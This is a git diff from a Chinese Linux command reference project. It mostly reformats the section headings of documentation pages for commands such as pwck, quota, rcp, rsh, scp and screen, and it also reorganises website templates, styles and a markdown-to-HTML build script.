-### 参数 +### 参数 * 密码文件：指定密码文件的路径； * 影子文件：指定影子文件的路径。 -### 实例 +### 实例 ```shell pwck /etc/passwd diff --git a/command/pwconv.md b/command/pwconv.md index 9b197228b79..1c05911bf0d 100644 --- a/command/pwconv.md +++ b/command/pwconv.md @@ -7,13 +7,13 @@ pwconv **pwconv命令** 用来开启用户的投影密码。Linux系统里的用户和群组密码，分别存放在名称为passwd和group的文件中， 这两个文件位于`/etc`目录下。因系统运作所需，任何人都得以读取它们，造成安全上的破绽。投影密码将文件内的密码改存在`/etc`目录下的shadow和gshadow文件内，只允许系统管理者读取，同时把原密码置换为"x"字符，有效的强化了系统的安全性。 -### 语法 +### 语法 ```shell pwconv ``` -### 实例 +### 实例 ```shell cat /etc/passwd | grep test diff --git a/command/pwd.md b/command/pwd.md index f1f98e9c1ce..aac1577a6d3 100644 --- a/command/pwd.md +++ b/command/pwd.md @@ -7,20 +7,20 @@ pwd **pwd命令** 以绝对路径的方式显示用户当前工作目录。命令将当前目录的全路径名称（从根目录）写入标准输出。全部目录使用`/`分隔。第一个`/`表示根目录，最后一个目录是当前目录。执行pwd命令可立刻得知您目前所在的工作目录的绝对路径名称。 -### 语法 +### 语法 ```shell pwd（选项） ``` -### 选项 +### 选项 ```shell --help：显示帮助信息； --version：显示版本信息。 ``` -### 实例 +### 实例 ```shell [root@localhost ~]# pwd diff --git a/command/pwunconv.md b/command/pwunconv.md index 2cec1b82528..c79b78f088d 100644 --- a/command/pwunconv.md +++ b/command/pwunconv.md @@ -7,13 +7,13 @@ pwunconv **pwunconv命令** 与pwconv功能相反，用来关闭用户的投影密码。它会把密码从shadow文件内，重回存到passwd文件里。 -### 语法 +### 语法 ```shell pwunconv ``` -### 实例 +### 实例 ```shell pwunconv # 关闭影子密码 diff --git a/command/quota.md b/command/quota.md index 1d3520f7e98..13b0590cad3 100644 --- a/command/quota.md +++ b/command/quota.md @@ -7,13 +7,13 @@ quota **quota命令** 用于显示用户或者工作组的磁盘配额信息。输出信息包括磁盘使用和配额限制。 -### 语法 +### 语法 ```shell quota(选项)(参数) ``` -### 选项 +### 选项 ```shell -g：列出群组的磁盘空间限制； @@ -23,11 +23,11 @@ quota(选项)(参数) -V：显示版本信息。 ``` -### 参数 +### 参数 用户或者工作组：指定要显示的用户或者工作组。 -### 实例 +### 实例 我们可以限制某一群组所能使用的最大磁盘配额，而且可以再限制某一使用者的最大磁盘配额 ，好比做一个收费的应用，vip可以得到空间更大一些。另外，以 Link 的方式，来使邮件可以作为限制的配额（更改`/var/spool/mail` 这个路径），不2，需要重新再规划一个硬盘！直接使用 Link 的方式指向 /home （或者其它已经做好的 quota 磁盘）就可以！这通常是用在原本规划不好，但是却又不想要更动原有主机架构的情况中！ diff --git a/command/quotacheck.md b/command/quotacheck.md index 7dae5102c4b..4cc3313a56d 100644 --- a/command/quotacheck.md +++ b/command/quotacheck.md @@ -7,13 +7,13 @@ quotacheck **quotacheck命令** 通过扫描指定的文件系统，获取磁盘的使用情况，创建、检查和修复磁盘配额（quota）文件。执行quotacheck指令，扫描挂入系统的分区，并在各分区的文件系统根目录下产生quota.user和quota.group文件，设置用户和群组的磁盘空间限制。 -### 语法 +### 语法 ```shell quotacheck(选项)(参数) ``` -### 选项 +### 选项 ```shell -a：扫描在/etc/fstab文件里，有加入quota设置的分区； @@ -24,11 +24,11 @@ quotacheck(选项)(参数) -v：显示指令执行过程。 ``` -### 参数 +### 参数 文件系统：指定要扫描的文件系统。 -### 实例 +### 实例 将所有的在`/etc/mtab`内，含有quota支持的partition进行扫描： diff --git a/command/quotaoff.md b/command/quotaoff.md index 97c95f23344..929b6983448 100644 --- a/command/quotaoff.md +++ b/command/quotaoff.md @@ -7,13 +7,13 @@ quotaoff **quotaoff命令** 用于关闭Linux内核中指定文件系统的磁盘配额功能。 -### 语法 +### 语法 ```shell quotaoff(选项)(参数) ``` -### 选项 +### 选项 ```shell -a：关闭在/etc/fstab文件里，有加入quota设置的分区的空间限制； @@ -22,7 +22,7 @@ quotaoff(选项)(参数) -v：显示指令执行过程。 ``` -### 参数 +### 参数 文件系统：指定要关闭磁盘配额功能的文件系统。 diff --git a/command/quotaon.md b/command/quotaon.md index ca3e2e9d27b..91be400b997 100644 --- a/command/quotaon.md +++ b/command/quotaon.md @@ -7,13 +7,13 @@ quotaon **quotaon命令** 用于激活Linux内核中指定文件系统的磁盘配额功能。执行quotaon指令可开启用户和群组的才磅秒年空间限制，各分区的文件系统根目录必须有quota.user和quota.group配置文件。 -### 语法 +### 语法 ```shell quotaon(选项)(参数) ``` -### 选项 +### 选项 ```shell -a：开启在/ect/fstab文件里，有加入quota设置的分区的空间限制； @@ -22,7 +22,7 @@ quotaon(选项)(参数) -v：显示指令指令执行过程。 ``` -### 参数 +### 参数 文件系统：指定要激活磁盘配额功能的文件系统。 diff --git a/command/rcconf.md b/command/rcconf.md index f3d60d7e74f..57bebe4df5b 100644 --- a/command/rcconf.md +++ b/command/rcconf.md @@ -7,13 +7,13 @@ Debian Linux下的运行等级服务配置工具 **rcconf命令** 是Debian Linux下的运行等级服务配置工具，用以设置在特定的运行等级下系统服务的启动配置。 -### 语法 +### 语法 ```shell rcconf(选项) ``` -### 选项 +### 选项 ```shell --help：打印帮助信息； diff --git a/command/rcp.md b/command/rcp.md index a6d1366d282..3242fec794d 100644 --- a/command/rcp.md +++ b/command/rcp.md @@ -7,13 +7,13 @@ rcp **rcp命令** 使在两台Linux主机之间的文件复制操作更简单。通过适当的配置，在两台Linux主机之间复制文件而无需输入密码，就像本地文件复制一样简单。 -### 语法 +### 语法 ```shell rcp(选项)(参数) ``` -### 选项 +### 选项 ```shell -p：保留源文件或目录的属性，包括拥有者、所属群组、权限与时间； @@ -26,11 +26,11 @@ rcp(选项)(参数) directory 每个文件或目录参数既可以是远程文件名也可以是本地文件名。远程文件名具有如下形式`rname@rhost:path`，其中rname是远程用户名，rhost是远程计算机名，path是这个文件的路径。 -### 参数 +### 参数 源文件：指定要复制的源文件。源文件可以有多个。 -### 实例 +### 实例 **rcp命令使用条件** diff --git a/command/read.md b/command/read.md index 9916b662cf2..73c6b7f54d3 100644 --- a/command/read.md +++ b/command/read.md @@ -7,24 +7,24 @@ read **read命令** 从键盘读取变量的值，通常用在shell脚本中与用户进行交互的场合。该命令可以一次读取多个变量的值，变量和输入的值都需要使用空格隔开。在read命令后面，如果没有指定变量名，读取的数据将被自动赋值给特定的变量REPLY -### 语法 +### 语法 ```shell read(选项)(参数) ``` -### 选项 +### 选项 ```shell -p：指定读取值时的提示符； -t：指定读取值时等待的时间（秒）。 ``` -### 参数 +### 参数 变量：指定读取值的变量名。 -### 实例 +### 实例 下面的列表给出了read命令的常用方式： diff --git a/command/readelf.md b/command/readelf.md index a57d9a36a49..cf4f0b66ea8 100644 --- a/command/readelf.md +++ b/command/readelf.md @@ -11,7 +11,7 @@ readelf 运行readelf的时候，除了-v和-H之外，其它的选项必须有一个被指定。  -### ELF文件类型 +### ELF文件类型 **种类型的ELF文件：** @@ -36,7 +36,7 @@ elf文件头描述elf文件的总体信息。包括：系统相关，类型相 * 加载相关：包括程序头表相关信息。  * 链接相关：节头表相关信息。  -### 选项 +### 选项 ```shell -a @@ -108,7 +108,7 @@ elf文件头描述elf文件的总体信息。包括：系统相关，类型相 @file 可以将选项集中到一个文件中，然后使用这个@file选项载入。 ``` -### 实例 +### 实例 先给出如下例子： diff --git a/command/readonly.md b/command/readonly.md index 179f6dde438..103d031c8fb 100644 --- a/command/readonly.md +++ b/command/readonly.md @@ -7,13 +7,13 @@ readonly **readonly命令** 用于定义只读shell变量和shell函数。readonly命令的选项-p可以输出显示系统中所有定义的只读变量。 -### 语法 +### 语法 ```shell readonly(选项)(参数) ``` -### 选项 +### 选项 ```shell -f：定义只读函数； @@ -21,11 +21,11 @@ readonly(选项)(参数) -p：显示系统中全部只读变量列表。 ``` -### 参数 +### 参数 变量定义：定义变量，格式为“变量名=‘变量值’”。 -### 实例 +### 实例 使用readonly命令显示系统中所有的已经定义的只读变量，输入如下命令： diff --git a/command/reboot.md b/command/reboot.md index 6fa207404d5..e6399a1ba42 100644 --- a/command/reboot.md +++ b/command/reboot.md @@ -7,13 +7,13 @@ reboot **reboot命令** 用来重新启动正在运行的Linux操作系统。 -### 语法 +### 语法 ```shell reboot(选项) ``` -### 选项 +### 选项 ```shell -d：重新开机时不把数据写入记录文件/var/tmp/wtmp。本参数具有“-n”参数效果； @@ -23,7 +23,7 @@ reboot(选项) -w：仅做测试，并不真正将系统重新开机，只会把重开机的数据写入/var/log目录下的wtmp记录文件。 ``` -### 实例 +### 实例 ```shell reboot //重开机。 diff --git a/command/reject.md b/command/reject.md index 3d94ae753be..64110081ab8 100644 --- a/command/reject.md +++ b/command/reject.md @@ -7,13 +7,13 @@ reject **reject命令** 属于CUPS套件，用于指示打印系统拒绝发往指定目标打印机的打印任务。 -### 语法 +### 语法 ```shell reject(选项)(参数) ``` -### 选项 +### 选项 ```shell -E：当连接到服务器时强制使用加密； @@ -22,7 +22,7 @@ reject(选项)(参数) -r：指定拒绝打印任务的原因。 ``` -### 参数 +### 参数 目标：指定目标打印机。 diff --git a/command/rename.md b/command/rename.md index 77c09e63335..ce51be34fa9 100644 --- a/command/rename.md +++ b/command/rename.md @@ -7,13 +7,13 @@ rename **rename命令** 用字符串替换的方式批量改变文件名。 -### 语法 +### 语法 ```shell rename(参数) ``` -### 参数 +### 参数 ```shell 原字符串：将文件名需要替换的字符串； @@ -21,7 +21,7 @@ rename(参数) 文件：指定要改变文件名的文件列表。 ``` -### 实例 +### 实例 将main1.c重命名为main.c diff --git a/command/renice.md b/command/renice.md index c70740c9fae..3c4547be276 100644 --- a/command/renice.md +++ b/command/renice.md @@ -7,13 +7,13 @@ renice **renice命令** 可以修改正在运行的进程的调度优先级。预设是以程序识别码指定程序调整其优先权，您亦可以指定程序群组或用户名称调整优先权等级，并修改所有隶属于该程序群组或用户的程序的优先权。只有系统管理者可以改变其他用户程序的优先权，也仅有系统管理者可以设置负数等级。 -### 语法 +### 语法 ```shell renice(选项)(参数) ``` -### 选项 +### 选项 ```shell -g：指定进程组id； @@ -21,11 +21,11 @@ renice(选项)(参数) -u：指定开启进程的用户名。 ``` -### 参数 +### 参数 进程号：指定要修改优先级的进程。 -### 实例 +### 实例 将行程id为987及32的行程与行程拥有者为daemon及root的优先序号码加1： diff --git a/command/repquota.md b/command/repquota.md index e8d27d17ac0..ffd6f1990b8 100644 --- a/command/repquota.md +++ b/command/repquota.md @@ -7,13 +7,13 @@ repquota **repquota命令** 以报表的格式输出指定分区，或者文件系统的磁盘配额信息。 -### 语法 +### 语法 ```shell repquota(选项)(参数) ``` -### 选项 +### 选项 ```shell -a：列出在/etc/fstab文件里，有加入quota设置的分区的使用状况，包括用户和群组； @@ -22,11 +22,11 @@ repquota(选项)(参数) -v：显示该用户或群组的所有空间限制。 ``` -### 参数 +### 参数 文件系统：要打印报表的文件系统或者对应的设备文件名。 -### 实例 +### 实例 显示所有文件系统的磁盘使用情况 diff --git a/command/resize.md b/command/resize.md index 9fbc25e520e..63e0bcde8f1 100644 --- a/command/resize.md +++ b/command/resize.md @@ -7,13 +7,13 @@ resize **resize命令** 命令设置终端机视窗的大小。执行resize指令可设置虚拟终端机的视窗大小。 -### 语法 +### 语法 ```shell resize [-cu][-s <列数> <行数>] ``` -### 选项 +### 选项 ```shell -c 　就算用户环境并非C Shell，也用C Shell指令改变视窗大小。 diff --git a/command/restore.md b/command/restore.md index 328873703d8..e066c0f7157 100644 --- a/command/restore.md +++ b/command/restore.md @@ -7,13 +7,13 @@ restore **restore命令** 是dump命令的逆过程，用于还原dump命令生成的备份文件。倾倒操作可用来备份文件，而还原操作则是写回这些已备份的文件。 -### 语法 +### 语法 ```shell restore(选项) ``` -### 选项 +### 选项 ```shell -b<区块大小>：设置区块大小，单位为Byte； @@ -33,7 +33,7 @@ restore(选项) -y：不询问任何问题，一律以同意回答并继续执行指令。 ``` -### 实例 +### 实例 ```shell dump -9 -u -f /dev/hda3 /home/frank/ diff --git a/command/restorecon.md b/command/restorecon.md index 4c398a108fa..c535a3e5d26 100644 --- a/command/restorecon.md +++ b/command/restorecon.md @@ -7,13 +7,13 @@ restorecon **restorecon命令** 用来恢复SELinux文件属性即恢复文件的安全上下文。 -### 语法 +### 语法 ```shell restorecon [-iFnrRv] [-e excludedir ] [-o filename ] [-f filename | pathname...] ``` -### 选项 +### 选项 ```shell -i：忽略不存在的文件。 @@ -26,7 +26,7 @@ restorecon [-iFnrRv] [-e excludedir ] [-o filename ] [-f filename | pathname...] -F：强制恢复文件安全语境。 ``` -### 实例 +### 实例 假设CentOS安装了apache，网页默认的主目录是`/var/www/html`，我们经常遇到这样的问题，在其他目录中创建了一个网页文件，然后用mv移动到网页默认目录`/var/www/html`中，但是在浏览器中却打不开这个文件，这很可能是因为这个文件的SELinux配置信息是继承原来那个目录的，与`/var/www/html`目录不同，使用mv移动的时候，这个SELinux配置信息也一起移动过来了，从而导致无法打开页面，具体请看下面的实例： diff --git a/command/rev.md b/command/rev.md index 215fb536ce7..2cae0ff36df 100644 --- a/command/rev.md +++ b/command/rev.md @@ -7,17 +7,17 @@ rev **rev命令** 将文件中的每行内容以字符为单位反序输出，即第一个字符最后输出，最后一个字符最先输出，依次类推。 -### 语法 +### 语法 ```shell rev(参数) ``` -### 参数 +### 参数 文件：指定要反序显示内容的文件。 -### 实例 +### 实例 ```shell [root@localhost ~]# cat iptables.bak diff --git a/command/rexec.md b/command/rexec.md index efa31256294..c54e4bf2af6 100644 --- a/command/rexec.md +++ b/command/rexec.md @@ -9,13 +9,13 @@ rexec rexec命令通过检查`$HOME/.netrc`文件（包含远程主机上使用的用户名和密码）来提供自动登录的功能。如果没有发现此类项或系统在安全方式下操作（参阅 securetcpip 命令），rexec命令提示输入一个远程主机的有效用户名和密码。这两种情况下，rexec均导致远程系统上的rexecd使用缺省的compat用户登录认证方法。rexecd不会为了备用的认证方法去查找`/etc/security/user`文件。也可以指定`-n`标志到rexec命令行上来重设自动登录功能。 -### 语法 +### 语法 ```shell rexec(选项)(参数) ``` -### 选项 +### 选项 ```shell -a：表示远程命令的标准错误与标准输出相同，不支持发送任意信号到远程进程； @@ -24,12 +24,12 @@ rexec(选项)(参数) -n：明确地提示输入用户名和密码。 ``` -### 参数 +### 参数 * 远程主机：指定远程主机（ip地址或主机名）； * 命令：指定需要在远程主机上执行的命令。 -### 实例 +### 实例 要在一个远程主机上执行date命令，输入： diff --git a/command/rlogin.md b/command/rlogin.md index f2bae52d162..ab05dfe3632 100644 --- a/command/rlogin.md +++ b/command/rlogin.md @@ -7,13 +7,13 @@ rlogin **rlogin命令** 用于从当前终端登录到远程Linux主机。 -### 语法 +### 语法 ```shell rlogin(选项)(参数) ``` -### 选项 +### 选项 ```shell -8：允许输入8位字符数据； @@ -23,7 +23,7 @@ rlogin(选项)(参数) -L：使用litout模式进行远端登入阶段操作。 ``` -### 参数 +### 参数 远程主机：指定要登录的远程主机（ip地址或者域名）。 diff --git a/command/rmdir.md b/command/rmdir.md index 0742bad8b94..7309eaa0259 100644 --- a/command/rmdir.md +++ b/command/rmdir.md @@ -11,13 +11,13 @@ rmdir 虽然还可以用带有`-r`选项的rm命令递归删除一个目录中的所有文件和该目录本身，但是这样做存在很大的危险性。 -### 语法 +### 语法 ```shell rmdir(选项)(参数) ``` -### 选项 +### 选项 ```shell -p或--parents：删除指定目录后，若该目录的上层目录已变成空目录，则将其一并删除； @@ -27,11 +27,11 @@ rmdir(选项)(参数) --version：显示命令的版本信息。 ``` -### 参数 +### 参数 目录列表：要删除的空目录列表。当删除多个空目录时，目录名之间使用空格隔开。 -### 实例 +### 实例 将工作目录下，名为 `www` 的子目录删除 : diff --git a/command/rmmod.md b/command/rmmod.md index fc0f2c0284a..5cf74b898be 100644 --- a/command/rmmod.md +++ b/command/rmmod.md @@ -7,13 +7,13 @@ rmmod **rmmod命令** 用于从当前运行的内核中移除指定的内核模块。执行rmmod指令，可删除不需要的模块。Linux操作系统的核心具有模块化的特性，应此在编译核心时，务须把全部的功能都放如核心。你可以将这些功能编译成一个个单独的模块，待有需要时再分别载入它们。 -### 语法 +### 语法 ```shell rmmod(选项)(参数) ``` -### 选项 +### 选项 ```shell -v：显示指令执行的详细信息； @@ -22,11 +22,11 @@ rmmod(选项)(参数) -s：向系统日志（syslog）发送错误信息。 ``` -### 参数 +### 参数 模块名：要移除的模块名称。 -### 实例 +### 实例 用rmmod命令主要用于卸载正在使用的Linux内核模块，与`modprobe -r`命令相似，如下所示： diff --git a/command/route.md b/command/route.md index 2cc5008d9a2..78557c7fdc1 100644 --- a/command/route.md +++ b/command/route.md @@ -9,13 +9,13 @@ route 在Linux系统中设置路由通常是为了解决以下问题：该Linux系统在一个局域网中，局域网中有一个网关，能够让机器访问Internet，那么就需要将这台机器的ip地址设置为Linux机器的默认路由。要注意的是，直接在命令行下执行route命令来添加路由，不会永久保存，当网卡重启或者机器重启之后，该路由就失效了；可以在`/etc/rc.local`中添加route命令来保证该路由设置永久有效。 -### 语法 +### 语法 ```shell route(选项)(参数) ``` -### 选项 +### 选项 ```shell -A：设置地址类型； @@ -27,7 +27,7 @@ route(选项)(参数) -host：到一个主机的路由表。 ``` -### 参数 +### 参数 ```shell Add：增加指定的路由记录； @@ -39,7 +39,7 @@ window：指定通过路由表的TCP连接的TCP窗口大小； dev：路由记录所表示的网络接口。 ``` -### 实例 +### 实例 **显示当前路由：** diff --git a/command/rpm2cpio.md b/command/rpm2cpio.md index f6779b31964..6f509df7a5b 100644 --- a/command/rpm2cpio.md +++ b/command/rpm2cpio.md @@ -7,17 +7,17 @@ rpm2cpio **rpm2cpio命令** 用于将rpm软件包转换为cpio格式的文件。 -### 语法 +### 语法 ```shell rpm2cpio(参数) ``` -### 参数 +### 参数 文件：指定要转换的rpm包的文件名。 -### 实例 +### 实例 ```shell rpm2cpio ../libstdc++-4.3.0-8.i386.rpm | cpio -idv diff --git a/command/rpmbuild.md b/command/rpmbuild.md index 05eebff9602..256b0e30225 100644 --- a/command/rpmbuild.md +++ b/command/rpmbuild.md @@ -7,13 +7,13 @@ rpmbuild **rpmbuild命令** 被用于创建rpm的二进制软件包和源码软件包。 -### 语法 +### 语法 ```shell rpmbuild(选项) ``` -### 选项 +### 选项 ```shell --initdb：初始化RPM数据库； @@ -23,7 +23,7 @@ rpmbuild(选项) -bs：创建源代码包。 ``` -### 实例 +### 实例 ```shell rpmbuild -ba 'spec文件路径' diff --git a/command/rpmdb.md b/command/rpmdb.md index 0094b468ada..0bdec6ed563 100644 --- a/command/rpmdb.md +++ b/command/rpmdb.md @@ -7,13 +7,13 @@ rpmdb **rpmdb命令** 用于初始化和重建rpm数据库。 -### 语法 +### 语法 ```shell rpmdb(选项) ``` -### 选项 +### 选项 ```shell --initdb：初始化RPM数据库； diff --git a/command/rpmquery.md b/command/rpmquery.md index a0d8e5643e3..b85695f1bf0 100644 --- a/command/rpmquery.md +++ b/command/rpmquery.md @@ -7,13 +7,13 @@ rpmquery **rpmquery命令** 使用多种依据从rpm数据库中查询软件包信息。 -### 语法 +### 语法 ```shell rpmquery(选项) ``` -### 选项 +### 选项 ```shell -qf：查询指定的文件所属的软件包； @@ -23,7 +23,7 @@ rpmquery(选项) -qi：查询软件包的基本信息。 ``` -### 实例 +### 实例 使用rpmquery命令查询指定文件所属的软件包： diff --git a/command/rpmsign.md b/command/rpmsign.md index b1e64b9f935..4b8bee25483 100644 --- a/command/rpmsign.md +++ b/command/rpmsign.md @@ -7,13 +7,13 @@ rpmsign **rpmsign命令** 使用rpm软件包的签名管理工具。 -### 语法 +### 语法 ```shell rpmsign(选项) ``` -### 选项 +### 选项 ```shell --addsign：为自动软件包添加签名； diff --git a/command/rpmverify.md b/command/rpmverify.md index ea73775756a..bc20868756c 100644 --- a/command/rpmverify.md +++ b/command/rpmverify.md @@ -7,13 +7,13 @@ rpmverify **rpmverify命令** 用来验证已安装的rpm软件包的正确性。 -### 语法 +### 语法 ```shell rpmverify(选项) ``` -### 选项 +### 选项 ```shell -Va：验证所有软件包； diff --git a/command/rsh.md b/command/rsh.md index 20dcecd8311..925206803a7 100644 --- a/command/rsh.md +++ b/command/rsh.md @@ -7,13 +7,13 @@ rsh **rsh命令** 用于连接到远程的指定主机并执行指定的命令。 -### 语法 +### 语法 ```shell rsh(选项)(参数) ``` -### 选项 +### 选项 ```shell -d：使用Socket层级的排错功能； @@ -21,7 +21,7 @@ rsh(选项)(参数) -n：把输入的指令号向代号为/dev/null的特殊外围设备。 ``` -### 参数 +### 参数 * 远程主机：指定要连接的远程主机； * 指令：指定要在远程主机上执行的命令。 diff --git a/command/runlevel.md b/command/runlevel.md index 08b4fb3b3cc..d3044e04967 100644 --- a/command/runlevel.md +++ b/command/runlevel.md @@ -7,13 +7,13 @@ runlevel **runlevel命令** 用于打印当前Linux系统的运行等级。 -### 语法 +### 语法 ```shell runlevel ``` -### 知识扩展 +### 知识扩展 linux操作系统自从开始启动至启动完毕需要经历几个不同的阶段，这几个阶段就叫做runlevel，同样，当linux操作系统关闭时也要经历另外几个不同的runlevel，下面我们就准备详细介绍一下runlevel，并向您展示一些小技巧来让您的linux系统避免不必要的重启动。 diff --git a/command/sar.md b/command/sar.md index 57268fa1c5d..a95b21f6f06 100644 --- a/command/sar.md +++ b/command/sar.md @@ -7,13 +7,13 @@ sar **sar命令** 是Linux下系统运行状态统计工具，它将指定的操作系统状态计数器显示到标准输出设备。sar工具将对系统当前的状态进行取样，然后通过计算数据和比例来表达系统的当前运行状态。它的特点是可以连续对系统取样，获得大量的取样数据。取样数据和分析的结果都可以存入文件，使用它时消耗的系统资源很小。 -### 语法 +### 语法 ```shell sar(选项)(参数) ``` -### 选项 +### 选项 ```shell -A：显示所有的报告信息； @@ -32,12 +32,12 @@ sar(选项)(参数) -x：显示给定进程的状态。 ``` -### 参数 +### 参数 * 间隔时间：每次报告的间隔时间（秒）； * 次数：显示报告的次数。 -### 实例 +### 实例 **察看内存和交换空间的使用率：** diff --git a/command/scp.md b/command/scp.md index 40352e519ab..5233c315f76 100644 --- a/command/scp.md +++ b/command/scp.md @@ -7,13 +7,13 @@ scp **scp命令** 用于在Linux下进行远程拷贝文件的命令，和它类似的命令有cp，不过cp只是在本机进行拷贝不能跨服务器，而且scp传输是加密的。可能会稍微影响一下速度。当你服务器硬盘变为只读read only system时，用scp可以帮你把文件移出来。另外，scp还非常不占资源，不会提高多少系统负荷，在这一点上，rsync就远远不及它了。虽然 rsync比scp会快一点，但当小文件众多的情况下，rsync会导致硬盘I/O非常高，而scp基本不影响系统正常使用。 -### 语法 +### 语法 ```shell scp(选项)(参数) ``` -### 选项 +### 选项 ```shell -1：使用ssh协议版本1； @@ -32,12 +32,12 @@ scp(选项)(参数) -r：以递归方式复制。 ``` -### 参数 +### 参数 * 源文件：指定要复制的源文件。 * 目标文件：目标文件。格式为`user@host：filename`（文件名为目标文件的名称）。 -### 实例 +### 实例 从远程复制到本地的scp命令与上面的命令雷同，只要将从本地复制到远程的命令后面2个参数互换顺序就行了。 diff --git a/command/screen.md b/command/screen.md index 947d12b779d..d383bb8ab0a 100644 --- a/command/screen.md +++ b/command/screen.md @@ -17,13 +17,13 @@ screen GNU's Screen 官方站点：http://www.gnu.org/software/screen/ -### 语法 +### 语法 ```shell # screen -AmRvx -[ls -wipe][-d <作业名称>][-h <行数>][-r <作业名称>][-s ][-S <作业名称>] ``` -### 选项 +### 选项 ```shell -A 　将所有的视窗都调整为目前终端机的大小。 @@ -40,7 +40,7 @@ GNU's Screen 官方站点：http://www.gnu.org/software/screen/ -wipe 　检查目前所有的screen作业，并删除已经无法使用的screen作业。 ``` -### 常用screen参数 +### 常用screen参数 ```shell screen -S yourname -> 新建一个叫yourname的session @@ -80,7 +80,7 @@ C-a -> 进入 copy mode，在 copy mode 下可以回滚、搜索、复制就像 C-a ] -> paste，把刚刚在 copy mode 选定的内容贴上 ``` -### 使用 screen +### 使用 screen **安装screen** @@ -164,7 +164,7 @@ Screen默认会为窗口命名为编号和窗口中运行程序名的组合， 除了依次退出/杀死当前Screen会话中所有窗口这种方法之外，还可以使用快捷键C-a :，然后输入quit命令退出Screen会话。需要注意的是，这样退出会杀死所有窗口并退出其中运行的所有程序。其实C-a :这个快捷键允许用户直接输入的命令有很多，包括分屏可以输入split等，这也是实现Screen功能的一个途径，不过个人认为还是快捷键比较方便些。 -### screen 高级应用  +### screen 高级应用  **会话共享** diff --git a/command/sed.md b/command/sed.md index 84f0a66109b..9b78ee2e17c 100644 --- a/command/sed.md +++ b/command/sed.md @@ -16,7 +16,7 @@ sed [options] 'command' file(s) sed [options] -f scriptfile file(s) ``` -### 选项 +### 选项 ```shell -e + + + + \ No newline at end of file diff --git a/template/header.ejs b/template/partial/header.ejs similarity index 100% rename from template/header.ejs rename to template/partial/header.ejs diff --git a/template/styl/index.styl b/template/styl/index.styl index 13e939a6fc2..dc9728eee75 100644 --- a/template/styl/index.styl +++ b/template/styl/index.styl @@ -183,10 +183,27 @@ a { color #616161 font-size 14px font-weight 300 - border-top: 1px solid #efefef; - padding-bottom: 50px; - &.footer_index { - border-top: 0 + border-top 1px solid #efefef + padding-bottom 50px; + padding 31px 6px 50px 6px + &.home { + border-top 0 + } +} +.header.home { + .header_inner { + display flex + flex-direction column + align-items center + } + .logo { + min-height 140px + display flex + align-items center + } + .search { + display flex + min-width 320px } } @@ -209,9 +226,6 @@ a { width 136px } } - .footer { - display none - } } .search_list { @@ -269,7 +283,7 @@ a { } } -.header_inner, .hotlist { +.header_inner, .hotlist, .search_list { max-width 920px margin 0 auto } diff --git a/template/footer.ejs b/template/widget/footer.ejs similarity index 61% rename from template/footer.ejs rename to template/widget/footer.ejs index 890b64a0a0b..d442a410688 100644 --- a/template/footer.ejs +++ b/template/widget/footer.ejs @@ -1,5 +1,5 @@ -
+
添加命令 | 命令列表 | Chrome 插件 | @@ -11,15 +11,9 @@ Github | 短地址：https://git.io/linux
- 收藏本站请使用Ctrl+D或者Command+d + 收藏本站请使用 Ctrl+D 或者Command+d
共搜集到 <%=describe.command_length?describe.command_length:''%> 个Linux命令 -
- - - - - \ No newline at end of file +
\ No newline at end of file diff --git a/template/search.ejs b/template/widget/search.ejs similarity index 89% rename from template/search.ejs rename to template/widget/search.ejs index c5e2d7fe2f6..9caa7068d17 100644 --- a/template/search.ejs +++ b/template/widget/search.ejs @@ -1,29 +1,29 @@ - - - logo - Linux Command Logo. https://github.com/jaywcjlove - - - - + + + logo + Linux Command Logo. https://github.com/jaywcjlove + + + + -
-
-
\ No newline at end of file From 740c78f67c3b5f22c03c29cd8494fba0f4f1cafa Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sat, 23 Oct 2021 18:18:03 +0800 Subject: [PATCH 0371/1019] website: update header style. --- template/styl/index.styl | 2 ++ 1 file changed, 2 insertions(+) diff --git a/template/styl/index.styl b/template/styl/index.styl index dc9728eee75..b33e0ccfae5 100644 --- a/template/styl/index.styl +++ b/template/styl/index.styl @@ -212,6 +212,8 @@ a { position fixed width 100% background #fff + backdrop-filter saturate(180%) blur(0.4rem) + background-color hsla(0, 0%, 100%, .55) z-index 99 } From de5c60bd0aa22107f1d4b9a7efa28ae9010c302b Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sat, 23 Oct 2021 20:54:09 +0800 Subject: [PATCH 0372/1019] fix: Fix build script. --- build/build.mjs | 31 +++++++++++-------------------- template/details.ejs | 4 +++- 2 files changed, 14 insertions(+), 21 deletions(-) diff --git a/build/build.mjs b/build/build.mjs index 05d1e6baefa..949c84b96f2 100644 --- a/build/build.mjs +++ b/build/build.mjs @@ -158,42 +158,33 @@ const cssPath = path.resolve(deployDir, 'css', 'index.css'); function createTmpToHTML(fromPath, toPath, desJson, mdPath) { return new Promise(async (resolve, reject) => { try { - let relative_path = ''; const current_path = toPath.replace(new RegExp(`${deployDir}`), ''); const tmpStr = await FS.readFile(fromPath); let mdPathName = ''; + let mdhtml = ''; + let relative_path = ''; if (mdPath) { // CSS/JS 引用相对地址 relative_path = '../'; mdPathName = `/command/${desJson.n}.md`; + const READMESTR = await FS.readFile(path.resolve(mdPath, `${desJson.n}.md`)); + mdhtml = await markdownToHTML(READMESTR.toString()); } // 生成 HTML let html = ejs.render(tmpStr.toString(), { filename: fromPath, relative_path, // 当前文件相对于根目录的相对路径 md_path: mdPathName || '', // markdown 路径 + mdhtml: mdhtml || '', current_path, // 当前 html 路径 describe: desJson ? desJson : {}, // 当前 md 的描述 - }, { filename: fromPath }); + }, { + filename: fromPath + }); - if (mdPath) { - const READMESTR = await FS.readFile(path.resolve(mdPath, `${desJson.n}.md`)); - const mdhtml = await markdownToHTML(READMESTR.toString()); - html = html.replace(/{{content}}/, mdhtml); - await FS.outputFile(toPath, html); - console.log(` ${'♻️ →'.green} ${path.relative(process.cwd(), toPath)}`); - // marked(READMESTR.toString(), (err, mdhtml) => { - // if (err) return reject(err); - // html = html.replace(/{{content}}/, mdhtml); - // FS.outputFileSync(toPath, html); - // console.log(` ${'→'.green} ${toPath.replace(process.cwd(), '')}`); - // resolve(html); - // }); - } else { - await FS.outputFile(toPath, html); - console.log(` ${'♻️ →'.green} ${path.relative(process.cwd(), toPath)}`); - resolve(html); - } + await FS.outputFile(toPath, html); + console.log(` ${'♻️ →'.green} ${path.relative(process.cwd(), toPath)}`); + resolve(); } catch (err) { reject(err); } diff --git a/template/details.ejs b/template/details.ejs index 8e3604993d7..bbd4e2a45f4 100644 --- a/template/details.ejs +++ b/template/details.ejs @@ -8,7 +8,9 @@ 添加实例 <% } %> -{{content}} + 